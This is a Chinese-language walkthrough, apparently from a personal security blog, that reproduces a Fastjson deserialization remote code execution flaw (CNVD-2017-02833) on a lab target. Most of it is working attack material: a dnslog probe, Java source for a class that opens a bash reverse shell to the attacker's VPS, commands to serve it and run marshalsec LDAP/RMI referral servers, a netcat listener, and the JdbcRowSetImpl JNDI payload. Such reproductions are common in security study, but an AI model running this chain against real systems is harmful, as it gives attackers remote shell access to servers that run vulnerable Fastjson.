FastJson漏洞cnvd-2017-02833复现

Fastjson 是一个 Java 库,可以将 Java 对象转换为 JSON 格式,当然它也可以将 JSON 字符串转换为 Java 对象

fastjson在解析json的过程中,支持使用@type字段来指定反序列化的类型,并调用该类的set/get方法来访问属性,当组件开启了autotype功能并且反序列化不可信数据时,攻击者可以构造数据,
使目标应用的代码执行流程进入特定类的特定setter或者getter方法中,即可构造出一些恶意利用链。

靶机开启是一个Json格式的页面

image-20220810224029101

Json格式的数据,这肯定得试一波有没有fastjson漏洞哇

漏洞验证

burp抓包故意用错误的json格式,发包,发现他喵的居然执行正常,但是我的json格式不对哇,思来想去,还去舔了个大佬,最后发现他喵的用POST请求就报错了。

image-20220810224619637

怨种是我,用的阿里的FastJson,确定无疑,利用POC验证一下,这里我推荐使用dnslog

1
{"a":{"@type":"java.net.Inet4Address","val":"dnslog"}}

image-20220810225615477dnslog有记录,说明命令能成功执行,存在FastJson漏洞

image-20220810225635519

生成class文件

先创建一个Exploit.java文件,下面代码的意思就是反弹一个shell到指定IP上,要是你不想用这个名字,也可以自己取一个名字,记得改下面代码中类的名字。

xxxxxxx为你的VPS的IP,端口为1111,这个1111端口就是后面VPS反弹Shell时监听的端口。

记得在你的VPS里设置这些端口都开放!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;

public class Exploit{
public Exploit() throws Exception {
Process p = Runtime.getRuntime().exec(new String[]{"bash", "-c", "bash -i >& /dev/tcp/xxxxxx/1111 0>&1"});
InputStream is = p.getInputStream();
BufferedReader reader = new BufferedReader(new InputStreamReader(is));

String line;
while((line = reader.readLine()) != null) {
System.out.println(line);
}

p.waitFor();
is.close();
reader.close();
p.destroy();
}

public static void main(String[] args) throws Exception {
}
}

编译生成class文件

1
javac Exploit.java

image-20220810234739599

得到 一个Exploit.class文件

VPS开启HTTP服务

1
python3 -m http.server 8000

image-20220810231040838

开启LDAP服务或者RMI服务

LDAP服务

VPS利用刚刚开启的HTTP服务来开启LDAP服务,LDAP服务利用9999端口,这里记清楚自己开的哪种服务,后面才好利用对应的Payload,我是怨种。

这里用到了marshalsec-0.0.3-SNAPSHOT-all.jar文件,这个文件网上有,百度一搜就出来了。

两种服务,二选一。

1
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://VPS的IP:8000/#Exploit 9999

image-20220810231123211

RMI服务

也可以开启RMI服务,RMI服务利用9999端口

1
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://VPS的IP:8000/#Exploit" 9999

监听

然后VPS监听端口 1111,这个端口和Exploit.java文件中的端口一致。

1
nc -lvvp 1111

发送PayLoad

向刚刚开启的LDAP服务或者RMI服务发送命令。记住前面用的什么服务,这儿就用什么服务,要一致!!!我就是没看仔细,搞错了,检查半天才发现服务开错了,他喵的。

1
2
3
4
5
6
7
8
9
10
11
12
{
"name":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"x":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://VPS的IP:9999/Exploit",
"autoCommit":true
}

}

image-20220810231155057

奶奶的,总是反弹不成功

image-20220810233320793

最后发现用RMI不行,得用LDAP,我才发现我VPS开启的是LDAP服务,我擦。

image-20220810233353093

反弹Shell成功

image-20220810233429746

找到一个宝藏大佬收集的姿势:https://github.com/safe6Sec/Fastjson